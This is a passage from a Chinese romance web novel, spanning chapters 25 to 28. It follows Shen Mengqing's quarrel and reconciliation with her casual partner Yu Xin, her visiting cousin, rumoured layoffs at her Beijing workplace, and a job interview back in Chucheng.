她一句话还没说完,余辛就施施然掏出了手机。 滴一声响,郝奇思说:“扫上了。” 沈孟青看向余辛,眼神里满是质问,不解他葫芦里卖的什么药。 她还有点不知道哪来的愠意,当初在便利店她费了半天劲留下他联系方式,怎么郝奇思随口一句话就让他加上好友了,他现在加人好友这么随便的吗?!—— 作者有话说:这家没了表弟都得散(x 等着之后看这句话的含金量[害羞] 第25章 第二十五章 沈孟青,你把我当什么了。…… 这景点有个餐厅, 专门做精致的甜点下午茶,天气热得三人没什么食欲,便决定来这吃点清爽冰甜的小东西裹裹腹, 把胃口留给晚上的小吃街。 沈孟青和余辛随便点了两杯饮品, 郝奇思看着菜单,觉得十分新奇, 点了三四个甜点, 想每个都尝尝。 刚下完单, 余辛就把钱给付了, 郝奇思在一旁惊叹说:“哥,导游是要包顾客出来玩的所有费用之后再结款吗?那遇上一整队的人你不得垫很多钱?” “问这么多做什么。” 沈孟青真是低估了郝奇思这个年纪的求知欲, 她三姨这名字倒是起的贴切, 人如其名,对什么事情都很好奇。 她转念一想, 她妈妈名字叫郝孟, 本该是个寓意很好的名字,但是爸爸生病之后,妈妈晚上怕是再也没做过好梦了吧。 餐点很快端上了桌,除了饮料要现做, 甜点都是早早做好放在小冷藏柜里保鲜着的, 郝奇思每个都尝了一口, 满足地点点头。 他似是对余辛这工作还有很多问题想问, 沈孟青无语地问他:“怎么,你想做导游啊?” 郝奇思还真认真地点点头, 说:“我早就想好了,上了大学之后,找一些兼职赚钱。” “你一小孩儿要那么多钱干嘛?”沈孟青说。 郝奇思喝了一口他点的杨梅冰, 说:“我妈最近想开个店,但家里的钱不够她盘个铺子,我想存钱帮她垫些押金,能赚一点是一点。” 沈孟青没想到郝奇思是为了这事,心下有点感动,出声说:“要多少钱,我这些年存了一些,反正也没地方花,我借给你。” “不用不用,”郝奇思摆摆手,“我妈说过你在北城辛苦打工挣的钱是要用来和男朋友成家买房的,问谁借钱都不能问你借。对了姐,好久没见过你男朋友了,你们最近怎么样?” 沈孟青:“……” 余辛:“……” 沈孟青感动的心情啪地一下全没了,瞪向她这欠揍的弟说:“我分手了,三姨没和你说吗?” 郝奇思讪讪笑了笑,拧着脸回忆了下,的确想不起他妈有说过这事。 不小心踩到了沈孟青的雷,郝奇思在这之后收敛了点,话变少了一半。 吃完了这顿简餐,三人转移阵地,往这景点对面一公园玩去。 公园散步对于郝奇思这种闲不住的多动青年来说实在无聊,风花雪月的赏景雅致他不懂,在看见有划船的娱乐项目后,他二话不说就兴致冲冲地去买了张票。 他喜欢的小黄鸭船只能一个人玩,他向沈孟青请示了下得到同意后,便独自玩去了。 沈孟青左右看了看,两个人划船应当要轻松一些,她随手指了一只双人船,朝余辛问道:“一起划?” 余辛点了下头,没什么意见。 船停靠在岸边,沈孟青踩上去的时候,船因为失衡而摇摇晃晃的,她没有防备地惊叫了一声,胳膊很快被人扶住,余辛借力帮她保持住了平衡,但沈孟青仍旧不敢松手,死死地拽住余辛。 她迈不动步子往前走,双脚被铁链锁住了一般,但若是余辛也踩下来的话,端头的重量就太大了,湖水会漫进来。 余辛叹了口气,说:“你先松开我,我帮你稳住船,你往前走到中间去。” 沈孟青有点狼狈地抬头看向他,眼神似是在说不太放心他的建议。 两人僵持了一会,在这炎炎日光下,沈孟青感觉到背上浸满了薄汗,她还拽着余辛,过近的身体距离让她更热了。 她再撑不住,咬牙说:“好,按你说的来。” 缓缓放开了余辛后,船又微微晃了下,但比方才的程度轻了很多,余辛敞开腿蹲了下来,双手撑在船头,用力抵住船的摇摆,阳光照在他白花花的胳膊上,由于手在使劲,凸起的青筋格外显眼。 沈孟青抱着一种早死早超生的念头,跨着大步走到船中间坐下,果然在中心点之后安全了很多,即便船还在动,扶住的船沿后也相对平稳。 这种平稳在余辛上船的时候被瞬间打破,他体重更重,上船时比方才还更晃,要不是现在没办法走回头路,沈孟青一定跑上岸去。 等坐下后,余辛把一只桨递给沈孟青。 他们坐的这艘船需要两人一边划一个桨,很是考验两人的默契。 这公园的风景不错,树木成林,鸟语花香,湖水也青绿澄澈,在自然风光中待久了,心里静下来,反倒凉快了几分。远处一池单独隔开小湖里有不少开得鲜艳的荷花,沈孟青遥遥看了几眼。 两人的配合意外得好,一路顺畅地到了湖中央,身边的船也渐渐多了些,人声喧哗,衬得他们这艘船安静得格格不入。 大概是无聊过头,余辛都成了先开口的人,他向沈孟青问道:“你想买房?” “算是吧。” 沈孟青其实前段时间想通了,如果要在北城留下,买房是逃不掉的一关,但要不要回楚城的念头一直在动摇她,眼下她还做不出决定。 余辛眉眼微凛,眸中印出波光粼粼的湖面,他低声说:“是因为想在北城成家?” 沈孟青怔了下,皱眉说:“和这个没关系。” 余辛把船桨一放,又问道:“你当时为什么分手。” 他不再划船后,沈孟青再努力去划也是无用功,方向只会偏移得更厉害,她索性也把船桨一撂,让船自己漂着。 沈孟青淡淡开口说:“是他冷暴力分手的。” 气氛在无形中冷却下来,她不是很想给余辛分享自己过去的感情经历,这让她感觉很奇怪。在沉寂了片刻后,她正想转移话题,才发现余辛眸色微沉地看向他。 起伏的湖面印在他的眼里都仿佛失去了生机一般,化为一潭死水,幽深无波,又像是隐含着危险的沼泽,对视久了之后,便会被他牢牢抓住,深陷其中。 “是他提的。”余辛徐徐开口,语气听起来毫无情绪,“所以,你还……对他有感情是吗?” 他把差点脱口而出的爱这个字吞进喉里,却犹如吞下一块锋利的刀片似的,他的血肉被划开,隐隐作痛。 沈孟青眉间皱得更深:“没有。” 余辛并不是很相信她,她从他的眼里读懂了他的心绪。 “不相信?所以我在你眼里是一个心里放不下前男友,还能随便跟其他男人上/床的人吗?”沈孟青轻笑了声,“余辛,你最近是怎么了,李青河的事也是,你到底在不满意什么。我们这种关系,不是只需要在见面的时候应付一下,其他时间井水不犯河水不就行吗?” 她清楚这话有点太伤人了,但她也不知怎么了,或许是近段日子以来遇到的烦心事太多,她快被压得喘不过气,和余辛在一起的时间是她唯一逃离现实生活的出口,但他问话的态度令她觉得这唯一的乌托邦也在朝她宣战,她便再也忍不住了。 沈孟青的话音刚落,就感觉到船身猛地一晃,她霎时间失去了重心,往前倒去,余辛反应很快地倾身向前,双手撑在她身侧的船沿上,将她困在方寸之间。船身周围的湖面因两艘船突如其来的碰撞溅起细碎的水花,有几滴落在沈孟青的手臂上,凉薄刺骨。 “应付一下?”余辛声音低沉,像是从喉咙深处努力挤出来了这几个字般。 他身体还没回位,手臂绷紧,非但没有将沈孟青放开,反而将她困得更死,船身因为他重心移动而危险地倾斜,沈孟青慌乱不已,却只有抓住他这个与她同船的人。 他气息灼热,几乎是贴着她的耳廓说道:“原来每一次见面,你都在应付我。对你来说,我是个负担是吗。” 即便沈孟青没有回头,她也能想象到余辛此刻的视线有多么的锋利,她如坐针毡,想要忽略船身的不平衡,远离他一些距离,却被他的臂弯和船沿挡住,无处可逃。 “我不是这个意思……”她试图解释,却发觉唇瓣干涸得厉害。 余辛眼神格外的冷淡:“那你是什么意思?井水不犯河水,沈孟青,你把我当什么了。” 他这副漠然的表情让沈孟青心头一颤,就算是在第一次见面时,他都没有如此冷漠, “我以为你懂的。”沈孟青强装镇定地迎上他的目光说,“我们不过是各取所需,不应该去干涉对方的私生活。” 余辛冷笑了声:“那等你和前男友重拾旧好,或者和哪个相亲对象看对了眼之后,再随便通知下我,就能随意结束这段关系了是吗。” 沈孟青挣不开他,在他不断的逼问下,心底的烦躁和委屈轰然决堤,统统化作她包裹在外的尖刺,将别人越推越远。 她凉凉说道,“不然呢?最开始我就说过了,谁有了喜欢的人,都可以提出关系终止,你也可以。余辛,你不会是玩不起吧?还是说,你对我当真了?” 余辛的眼里翻腾起她看不懂的情绪,像是一座沉眠许久即将喷发的火山,却在灼人岩浆爆发出的最后一刻,归为了平静。 “你说得对。”余辛将所有情绪收了回去,终于是放开了她,神情变得平淡,“是我越界了。” 一阵难言的沉默在两人之间蔓延,沈孟青张了张嘴,迟来地想说些什么缓和气氛,却说不出一个字。 “回去吧。” 余辛突然开口,打破了维持在冰点的氛围,他重新拿起了船桨,动作干脆地调转了船头。 上岸时,余辛率先跳下船,随即转身向她伸出手。 沈孟青有点意外地看向他,犹豫了一瞬,还是将手递了过去。他的手掌温热而有力,稳稳地扶住她,确保她安全上岸后便立即松开,似是不愿多触碰她一秒。 郝奇思一个人玩得很快,早就回来了,正坐在岸边的长椅上玩手机。 看见他们的身影,他兴奋地跑了过来:“姐,导游哥,我们再” “我先走了。”余辛打断他,“我晚上还有事。” “啊?” 余辛态度转变得太突然,郝奇思有点摸不着头脑,呆愣愣地看着他的背影走远。 他茫然地看向沈孟青,却发现他姐的表情看着也不太好,眼里空洞洞的。 他小心翼翼问道:“姐,你们吵架了吗?” 沈孟青否认得很快:“没有。” 她收回神,抬脚继续往前走。 方才在船上还是有水渗了进来,她的鞋底微微湿了些,走起路来粘腻在脚底,不太舒服。 郝奇思暗自瞥了眼,小声说:“姐,其实他不是导游,是你朋友吧?”—— 作者有话说: 补药吵了~~ 第26章 第二十六章 “酒、吧、男、模?”…… 沈孟青脚步一顿, 郝奇思有些时候还真是意料之外得心细。 她说:“也不算朋友吧,认识而已。” 郝奇思不懂她这话是个什么意思,对于他来说, 认识了就是朋友了, 如果认识了还做不了朋友,那他根本都不会和那人再见面。 他不再纠结这个问题, 转而问道:“那他直接走了, 我们接下来怎么办?” “他本来就不是来做导游的。”沈孟青拿出手机, 重新下好了租车订单, “今晚先打车吧,我明天去取租好的车。” 半个小时逛完了公园, 沈孟青带郝奇思直奔小吃街, 今日行程的最后一个目的地。 已至傍晚,太阳变成了咸蛋黄色, 橘灿灿地悬在天际线, 马上便要沉入黑夜之中,很多人挤在入口的地方,拍下夕阳西沉的一幕。 小吃街这会人声鼎沸的,各种小摊老板卖力地吆喝着自己家的菜单, 沈孟青没有食欲, 都是郝奇思买了什么吃的她就顺便尝一点。 不知道是不是为了照顾她低迷的情绪, 郝奇思这早上吃了两大碗面的人, 居然随便吃了几样就说肚子饱了,累得想回去休息。 等回到了家, 沈孟青怕他饿着,给他叫了个外卖。 郝奇思吃到一半,忽然抬头问沈孟青说:“姐, 你租车的订单还能取消吗?” 沈孟青不解地说:“可以是可以,怎么了吗?” “我舍友也都到北京了,我们约着明后天一起玩下,正好提前认识认识。”郝奇思说道,“你工作也忙,就别陪我了。” “没事的,反正我也请假了。” 沈孟青不想让郝奇思玩得不尽兴,可他十分坚持,在她确认了真的是舍友约着一起没有什么危险后,同意了下来。 她叮嘱说:“但你一定要及时给我汇报你的动向,不能太相信别人了。” 郝奇思点点头说:“知道的姐,你就放心吧,我这又高又壮的,谁欺负得了我。正好你请了假,趁这两天休息一下吧。” 不用再考虑出去玩的行程,沈孟青轻松了很多,心里头一座紧压着的大石放下了似的。 但是同时,另一种情绪又迅速占据了她的身体。 她洗漱完后,疲惫地在床上倒下,索然无味地玩了一会手机,随后两只眼睛睁得大大的,盯着天花板发呆。 夜色深沉,沈孟青房间内的窗帘敞开着,窗外霓虹闪耀,她却觉得眼前灰蒙蒙的。 和余辛在船上争吵的画面被按下回放键一般在她脑海里循环播放,连那些夹枪带棒的话语也不断在耳边回响,她再怎么强制自己平心静气,也没办法把这些杂念统统赶出去。 他们的关系从一开始就是冲动的产物,荷尔蒙是唯一的支撑点,如果放在现实来看,这种关系单薄又脆弱。而且,最近她的工作一片狼藉,在北城的去留也还没决定,和余辛在一起时,是她极少的不需要去思考未来的时刻,她只需要专注于当下的感受。 可是现在,她连这仅有的安全区都失去了,无处可避。 沈孟青侧过身,视线从另一只枕头滑至床头柜,莫名其妙的,她感觉周遭充满了余辛的气息,那股松木香调若有若无混入她的鼻息里,她转而烦躁地把脸埋进枕头里,整个人陷入黑暗之中。 余辛对于林向阳和李青河的反应,是不是太大了? 沈孟青清晰地察觉到,她白天在余辛眼里看到了一丝说不清道不明的情绪,像是埋怨,又像是失望。 他不该有那样的情绪的。 他明明是个对一切漠不关心的人,是她把他拽进了这段关系里。 她仔细想了想,仿佛从某一刻起,他变得有了细微的波动,而这种波动在不断放大,令沈孟青无所适从。 更令沈孟青心里没底的是,就连她自己,面对余辛时也没有起初时那么纯粹了。 她有些迷茫,像是身在一艘千疮百孔的船上,船帆摇摇欲坠,但她眼前是漫无边际的深海,根本不知道该往哪个方向驶去,才能找到一块赖以栖息的岛屿。 她失神了很久很久,而后,做出了一个决定。 如果到了这段关系要结束的那天,那就由她来说吧。 她不想再被动地接受别人的离开了。 …… 托郝奇思的福,她睡到了自然醒,虽然睡眠质量比较一般,昨晚辗转反侧了许久才睡着,还断断续续做了好几个梦。 少有的没有任何事要做的工作日,沈孟青没急着起床,窝在床上玩手机。 到了上午下班时间,姜羽给她发来消息,问她和表弟玩得怎么样了,晚上要不要一起吃饭,她请客。 沈孟青敲着键盘回复说: 「我弟自己玩去了,看来只有我有口福吃到姜大小姐请的大餐啦。」 姜羽回了个笑嘻嘻的表情,说道: 「好,等会发你餐厅地址。」 她正和销售部的人一同加班开会,还不知道几点才能去吃午饭,梁如薇和梁军面对面坐着,听同事们汇报。 姜羽知道这报告里不少内容都是沈孟青完成的业绩,所以销售部其他人根本都不了解情况,听着张图一板一眼做口述报告时,她都忍不住想翻白眼,她偷偷看了眼,梁如薇的脸色也不像是对张图的汇报满意,只有梁军,捧场得很,不时还对自己部门的产出自吹自擂几句。 她扣了扣耳朵,在桌子底下打字给沈孟青直播这场会议,不时吐槽几句梁军和张图。 躺到无聊了,沈孟青起床垫了垫肚子,便收拾起房间来。 来北城快五年了,她这出租屋里的东西也越来越多,她不算能轻易断舍离的人,很多年前在北城上大学的物品她都还留着,想起来的时候总会拿出来看一看。 床角的柜子塞得满满当当,她抽出来一个个重新摆放了遍,本来是想收纳得规整一点后腾出更多的空间,没想到反倒好几个东西塞不回去了。 她挑挑拣拣了半天,把剩下的扔进了垃圾篓。 整理得差不多之后,她才开始换衣服化妆。 姜羽今天约她去吃的是一家粤菜馆,刚开业不久,位置就在她家附近,她说是很火的网红餐厅,菜品一个个都特别精致,她都是提前好几天才订下了座位。 沈孟青到了餐厅楼下后没有急着上去,等姜羽开车到了,和她一齐上楼。 很快点好了菜,姜羽迫不及待地和沈孟青分享起八卦来。 “诶,你听说了没,市场部的那个经理李总离职去云济了,也是做市场部的老大,没想到他和云济的市场斗了那么久,一眨眼跳到对家那里去了。”姜羽啧啧两嘴,说道。 沈孟青喝了口茶:“好像最近公司里人事变动挺多的,我们部门也走了人,看来又到了每年一度的频繁换血时间了。” 姜羽摇摇头,低声说:“不仅仅是这样,几个股东最近也表面夹着尾巴,背地里蠢蠢欲动呢,我今天看张图都没了平时那股气,他爸肯定敲打了他一番。你说,会不会董事长……就这两个月的事了?” 沈孟青耸耸肩:“有可能吧。怎么,你也想去打探内部消息,抱新董事长大腿?” “哪轮得到我呀!”姜羽双手合十,祈祷着说,“不管新董事长是谁,我只希望我们薇姐能把他向上管理得服服帖帖的,这样我们底下这些人也能好过一些。对了,上半年的绩效考核结果出来了,你看了没?” 沈孟青笑容淡了些:“嗯,我是C。” 姜羽不免又说了句脏话,愤愤不平道:“梁军肯定又把A和B给了那几个人,我用脚趾头都能猜到名单上有谁。” “你打探了下楚城的情况吗,有没有比较好的工作机会?” 她都快看不下去沈孟青在销售部受的委屈,前几年两人刚认识的时候,沈孟青多意气风发呀,连续得了两三年的优秀员工,可是自打张图来了他们销售部之后,一切就变了。 沈孟青回她说:“有一些还不错的吧,等国庆节我回去了解一下。” “行,你考虑清楚了就好,你做什么决定我都支持你。” 姜羽把烦人的工作话题掐断,和沈孟青聊起别的来。 这家粤菜馆的菜品确实不错,烧腊肥而不腻,入口即化,两人久违地出来下馆子,吃得十分满足。 姜羽付完了单后就去取车了,走之前和沈孟青说了句等会送她回家,她在楼下等着就行。 沈孟青站在门口,没过多久,楼上又下来了两人,她低头玩着手机没有在意,只挪脚往旁边移了移。 忽地传来高跟鞋跑近的声音,女人甜美的声音响起:“余辛,好久不见。” 沈孟青身体瞬时僵住,她迅速地躲进楼侧的暗角,悄摸探出点脑袋瞄了眼。 一共三人,余辛,祝绍明,和祝绍明的堂妹Lily。 “你为什么删掉我的微信啊。”祝梨梨轻轻皱眉,认真地问他。 余辛面色冷冷,两手抄兜说:“需要理由?” “我不加无关的人。”说完这句,余辛斜睨了眼祝绍明,示意他把人带走。 他抬脚调了个方向,祝梨梨还想跟上去,祝绍明连忙拉住她说:“梨梨啊,先回去吧,你再追下去他都不只是删好友了,转头就会把你和你哥哥我拉黑了。” 藏身在暗处的沈孟青还在静静听着这几人的动静,倏尔,余光一暗,余辛直直立在她跟前,遮住了不远处一盏路灯。 沈孟青张了张嘴,正想解释,余辛却先开了口。 他沉沉说道:“聊聊?” 沈孟青在心里叹了口气,说:“好。” 她拿出手机,给姜羽发消息说不用送她了。 余辛走到她右侧,也松了力靠在墙壁上,声音伴着凉风送了过来:“上次在赛车场她也是这样突然出现的,不是我想和她见面。当时我已经开好了发动机,她说什么都不下车,很危险。” 沈孟青笑了下,说:“你不用和我解释,没必要。我不在意,同样的,你也不应该在意,你明白吗?” 她这话有点违心,但她想让他们的关系回到最简单的时候。 余辛眉骨一皱,语气也变冷:“解不解释是我的自由。” “那随你。”沈孟青无所谓地说。 余辛侧过脸,一双眼眸渐渐泛起霓虹灯倒映的碎光,紧锁住她。 他沉默了很久,久到沈孟青都要怀疑他不是在看她,而是在看她身后的马路走神。 “你不是想在北城买房吗,我给你买。” 沈孟青一愣,随后无语地笑了出来,说:“你是在和我较劲吗?” 余辛站直了身,直勾勾盯着她:“我没开玩笑。” “……” 沈孟青抱起胳膊,迎上他的视线:“所以你觉得我又缺钱又缺爱是吗?” 余辛眉皱得更深:“我不是这个意思。” 沈孟青继续说道:“那你是什么意思,炫耀你赚了很多钱?你赚钱也不容易,也不一定天天都有那样的富家大小姐对你前赴后继,钱还是留着自己用吧。” “你是不是对我有什么误会?”余辛听得更不明白了。 话聊到这份上,沈孟青便径直戳穿说:“你不是酒吧男模吗?” “?” “……” 这回轮到余辛气笑了,他感觉额角有根神经突突地跳着,这还是第一次别人对他的工作有如此荒谬的猜测。 “酒、吧、男、模?”他从齿缝间挤出这几个字,一步一步将沈孟青逼至墙角逼仄的空间里。 四周昏暗下来,余辛垂头看向沈孟青,眼里有团闪动的被她勾起的怒火,他咬牙说:“是我的长相让你有这种误解,还是说,我的表现让你太满意了。” “……” 自恋狂! 沈孟青双手抵上他胸膛,却犹如被铜墙铁壁困住一般丝毫推不动,她仰起头说道:“你不是吗?” “沈孟青,把你脑子里乱七八糟的东西都给我删掉。”余辛顿了下,说,“我不是。” “那你是做什么的?”沈孟青追问说。 余辛深吸了一口气,眸色眨眼间黯了下来,答案就在他嘴边滚了又滚,他已经酝酿过无数次说出这句话。 但是,他只是扯了下嘴角,语调听不出什么情绪地说:“我自由职业,有一些投资的公司。” 他又退却了,怎么也不敢推开那扇说出真相的门。 沈孟青有点狐疑地看了眼他,但觉得好像也合理。 她撇撇嘴说:“你又没和我说过你的工作,我只能凭借一些事乱猜了。” 余辛卸了力,声音小到快要被呼啸而过的汽车声卷走:“沈孟青,我不是对谁都这样。” “什么?”沈孟青除了自己的名字外,一个字都没听清。 余辛:“……没什么。” 沈孟青这下推开了他,她瞥见余辛背上似是沾上了墙灰,脏了一块,伸手想替他拍一拍,谁料余辛面色迟疑了下,随她抬起手,牵住了她。 手上一热,沈孟青:“?” 余辛:“?” 对峙了几秒,沈孟青忍俊不禁说:“喂,我是要帮你拍掉衣服上的灰。” “哦。” 余辛飞快地抽回了手,不自然地侧过头看别的地方。 沈孟青憋着笑给他衣服掸掉了灰,她扭头看了下自己背后一片干干净净,还好是穿的丝绸面料的衣服,不易粘灰。 “走吧。”余辛转过头,手又滑进兜里,“送你回家。” 沈孟青跟在他后头,路灯将两人的影子拉长又缩短,一幕幕轮转。不知哪生起一阵风,吹得街边大树哗啦啦作响,树影摇晃,树叶婆娑,有一片叶子被风吹落,离开枝桠后,飘飘摇摇落在余辛肩上,又滑落在地上,被沈孟青踩过,熨进水泥地面。 两人保持着不近不远的距离,沈孟青走路声音很轻,但余辛没有回过头,像是笃定她好好跟着自己—— 作者有话说:阿青:到底要我取消几次订单?!善变的男人们!! 辛子:阿青,我只是你一个人的男模/叼花 阿青:什么东西耳背没听见,你是我的馒头?(x 第27章 第二十七章 “怎么,你很期待我做点什…… 坐上了车, 沈孟青觉得车子里有些闷热,她喘不上气,伸手想把空调温度调低一些。 没想到, 余辛也伸出了手, 两人的手在空中碰撞到一起,又同时急速弹开。 沈孟青咽了咽口水, 说:“我想把空调调低几度。” “嗯。”余辛收回手后, 依旧目视前方专心开着车, “帮我也调低点。” “好。” 气氛莫名尴尬而微妙, 沈孟青调完后,缩回了座位, 两手规规矩矩地交叠放在膝盖上, 眼睛看着车窗外不断闪过的街景,脑子里空落落的, 什么也没想, 却又好像被什么东西塞满了一样。 夜色醉人,她望向窗外的眼皮渐渐沉重,在数到快一百个路灯时,她阖上了双眼, 昏睡过去。 直到到了家楼下, 车子缓缓停住, 沈孟青都仍然未醒。 余辛亦是不急着走, 侧头睨了眼沉睡的沈孟青后,他把空调风速降低了些, 学着她抬手环抱住自己,闭眼小憩。 他也很久没睡过好觉了。 车内和车外的夜是相似的乌黑如墨,一片寂静, 唯有两个人均匀的呼吸声,一起一伏,逐渐同频。 两人像冬眠的小动物般,窝在这一方小小洞穴里,恬静地睡着。 陡然响起的电话铃声将两人惊醒,余辛睡得不算沉,反应迅速地按下挂断。 沈孟青在意识清醒前,看见了显示屏上一闪而过的“林”字,应当是这通电话来电人在余辛手机上的备注。 她缓了缓还未褪去的困意,看了眼余辛,说:“那我回去了。” 余辛没出声,眸色幽深地看着她。 随后,他慢慢抬起手,指尖向沈孟青的脸侧越靠越近。 沈孟青想起上回在这车上发生的事,瞬时间脸色一红,下意识猛地往后一靠,躲过了他的手。 “?” 余辛用手将即将掉下的小黄花放回挡风玻璃前,眼皮一抬,掠向沈孟青说:“我是要拿这朵花,你以为我要做什么?” “哦。”沈孟青小声嘟囔了句。 “怎么,你很期待我做点什么吗?” 余辛把手放下,撑在沈孟青身侧的座位上,俯身下来,一点点靠近,他的气息铺天盖地地涌过来。 沈孟青心跳如擂鼓,音色都软了下来:“我没有啊。” 就在余辛快要贴上她唇侧时,他又坐回了身子,手指一搭一搭地敲着方向盘,语气冷静地说:“你走吧。” 报复,这一定是他的报复。 沈孟青下了车,在走进楼里的前一秒,她回头看了看还未驶离的黑车,余辛的脸隐没在车窗玻璃里,看不清楚,但不妨碍她忿忿地瞪了一眼。 她进了家门没多久,郝奇思也回来了,他兴奋地小跑到沈孟青身边,大声说道:“姐,我刚进小区的时候看见导游哥那辆劳斯莱斯了!他来找你了!” 沈孟青头都没抬:“哦。” 郝奇思见她没什么表情,以为是她没意会到,继续说着:“你们不是吵架了吗,他肯定是来向你道歉的呀!” 沈孟青:“哦。” 郝奇思观察了下沈孟青,她像是还在生气的样子,他挠了挠脑袋说:“他不会根本没敢找你见面吧?不应该啊,那哥看起来没这么怂啊。” 是啊,他可一点都不怂,沈孟青在心里冷笑了声,盯着郝奇思说:“你再提到他,我明天就给你送学校去,不管你了。” 郝奇思立马闭嘴,说了声:“小的明白。” 随后,他就回了房间,紧紧关上了门。 他拿出手机,给余辛发去消息: 「哥,你怎么还没哄好我姐呢。」 余辛过了会才回他。 YX:「……」 YX:「怎么哄。」 郝奇思恨铁不成钢,叹了口气,输入道: 「是男人就要勇于承认自己的错误,直接道歉!她想要什么,都尽量满足她。」 YX:「你在学校没少早恋吧。」 郝奇思脑海中浮现起余辛那张冷淡的脸,感觉都能想象到他说这话时的神情。 郝奇思说:「哥,我这也是为你好,你怎么恩将仇报呢。」 余辛很久没再理他,直到很晚,他才突然发来一句: 「如果你姐发现自己被骗了,会怎么样?」 郝奇思房间的灯都关了,卷着被子躺在被窝里,只有屏幕闪烁着微弱的光芒。 他有点摸不着头脑,啃着指头思索了会,旋即眼睛瞪得又大又圆,手指飞快地敲着键盘: 「你不会是骗了我姐的钱吧???!!!」 他义愤填膺地对着余辛输出个不停:「我姐一个人在北城这么辛苦打工赚钱,多不容易啊,如果你还骗她钱,那你也太不是人了吧!!」 或许是他发消息频率太快,引起了余辛的注意,这会他回复很快。 YX:「……不是。」 YX:「和钱无关。」 郝奇思长舒一口气: 「那没事,不涉及钱都是小事,别担心。哥,我睡了啊。」 那头的余辛和他同时放下手机。 和郝奇思聊完,他好像更头疼了。 对于他来说,如果只是涉及到钱,那才是无关轻重的小事- 把郝奇思送到了学校后,沈孟青终于圆满完成了这几天照顾他的任务。 转眼到了周一,沈孟青进办公室的时候,果然看见有两三个工位已然空了。 她才在工位上坐下,齐书盈就给她发来了消息,言辞中难掩她心情的雀跃: 「孟青姐,军哥把一个离职同事的工作都交给我了,以后我也要开始独自负责业务了!」 沈孟青嘴角弯了下,回复她说: 「恭喜你呀。」 齐书盈:「你中午有时间吗?我想请你吃个饭,感谢入职以来你的帮助^^」 沈孟青:「OK」 两人中午就约在公司附近的一家Brunch,简单点了几个菜后,齐书盈便迫不及待地向沈孟青分享起自己单独见客户的感触来。 “我之前从你还有图哥身上学到了很多见客户时的话术,但我发现自己实战起来还是不太一样,客户有些问题是我没遇到过的,而且,独立干业务之后很多人都会来找我沟通,我才知道你们每天要面对那么多信息。” 齐书盈说得眉眼飞扬,充满了新鲜感,沈孟青静静听着,不时喝几口果汁。 “但是,孟青姐,以前几年部门人事变动也这么大吗?最近公司里走了很多人,我心里有点慌。”齐书盈疑惑地向沈孟青问道。 沈孟青搁下杯子,说:“每年都会有,是正常现象。” “是吗……”齐书盈话音一停,左右谨慎地打量了下店里的顾客,而后压低声音凑近说,“上次我在帮张图哥干活时不小心听见了他和军哥的对话,军哥好像在说,过段时间公司可能会裁员。” 沈孟青一怔:“裁员?” 齐书盈点点头:“据我了解,咱们公司以前没主动裁员过吧?” 沈孟青摇摇头,说:“没有过。” “哎,也不知道好好的怎么忽然有这消息。”齐书盈脸色耷拉下来,叉起沙拉里的一块生菜,送进嘴里嚼了嚼。 知道了这个消息后,沈孟青便有些心不在焉的,下午工作时,经常无意识的走神,效率格外的低。 倘若是在以前,她绝对不会担心裁员名单上会出现自己的名字,但近一年来她的绩效评级都不是很好看,如果评判标准是看这种硬性指标的话,那她保不准真会被选上。 连续失眠了好几个晚上后,沈孟青忍不住朝姜羽问了问有没有关于这件事的小道消息。 姜羽打听了快一个星期,才从别人嘴里撬出一点消息。 但不是什么好消息。 她告诉沈孟青,裁员名单是由部门经理和人事部共同敲定的,部门经理占很大一部分决策权。她还说,估计这名单十月份就会出来。 沈孟青头疼得很,这件横生出来的事,像是老天拿了把刀架在她脖子上,逼她尽快做出决定。 她几乎是每天焦虑又纠结地度过了这个九月,每次见客户时都有些不在状态。 可是,再这样下去她身心健康都会出问题,沈孟青痛定思痛,觉得是时候踏出改变的一步了,如果她一直处于被动的地步,那只会在意外来临时措手不及。 退一步说,就算她没被裁掉,下半年的绩效也不会好看到哪去,她在这继续待下去还有什么盼头呢。 九月的最后两天,她回到了楚城参加一个公司的面试。 推荐这个岗位机会的人是那天同学聚会上坐她身边的女同学,同学人叫付岚,性格很温和,当时刚从楚城来北城不久,是以对楚城的情况比较熟悉,了解到沈孟青有想回去的念头后,很快就给她推来了好几个岗位招聘启事。 这个叫叁通的医药公司虽然不比愈生和云济规模大,但在楚城算相对头部的企业了。 她投递的岗位是董助,没有再考虑销售之类的岗位,既然是从大公司跳槽出去,她只想在职业道路上更进一步。 投完简历第二天,她就收到了HR的联络,初步沟通了下她的情况,在得知她可以在九月底线下面试时,HR还吃惊了下。 沈孟青站在叁通公司楼下时,惊叹了一下这不输于愈生的大写字楼,气派华丽得很。而且楚城不比北城寸土寸金,生产工厂就建在办公写字楼的背后一大片空地上,方便多了。 HR来楼下接她,刷卡带她直直上到了顶楼,看着电梯上疯狂跳动增加的数字,沈孟青心跳也跟着加速,她原以为自己不会紧张的。 “先是董事办的面试,如果通过了,我们就直接安排董事长亲自面试。”HR亲切友好地对她笑着说,“正好节前董事长出差回来了,就安排紧凑了些,没关系吧?” 沈孟青浅浅笑着说:“没事的,这样更好。” 走出电梯前,她收到了郝奇思发来的消息。 郝奇思:「可以,我来接你。」 沈孟青一个问号才发出去,他就撤回了这条消息。 郝奇思:「姐,发错了,没事。」 沈孟青:「……」—— 作者有话说:阿青:?事情不简单[害羞] 第28章 第二十八章 哄你 电梯门打开, 沈孟青收起手机,无视了郝奇思发错消息的插曲,跟着HR进了一个会议室。 偌大的会议室里头只坐着两人, HR介绍说是总经理和董事办主任, 她介绍完便将门关上了,示意几人面试开始。 沈孟青准备得很充分, 销售部是个磨砺人的地方, 简历上每一份经历都是她实打实做出来的业绩, 这几年她的履历都非常漂亮, 又有愈生这种国内顶尖公司的背景作书,面试官对她的初印象就不错, 在她对问题对答如流后, 都当场敲定了进下一轮面试。 还是同一个地点,董事长的面试过会才开始, HR给她倒了杯水喝, 沈孟青道着谢接过。 HR等她喝了几口后,眨了眨眼,小声问她说:“听说你们公司最近很多人跳槽啊?” 沈孟青一噎,淡然说:“就是正常变动。” “你们想跳槽, 是不是都是因为高层的变动哇?”HR八卦地说, “我也是听其他北城医药公司的HR说的, 你们公司估计要大换血喽。” 沈孟青笑了笑:“我不知道其他人变动的原因, 我是因为想回楚城来。” “原来如此。”HR了然,见她不愿多谈, 便也不再追问。 十分钟后,叁通的董事长推开门走了进来,沈孟青看向这位穿着西装中年男人, 礼貌地站起身和他握手。 叁通是九零年代创立的企业了,是目前这位杨川董事长的父亲一手创办的,家里都是楚城人,沈孟青倍感亲切。杨川如今也已经五十多岁了,但单凭样貌看不出来,和四十多岁似的,保养得极好。 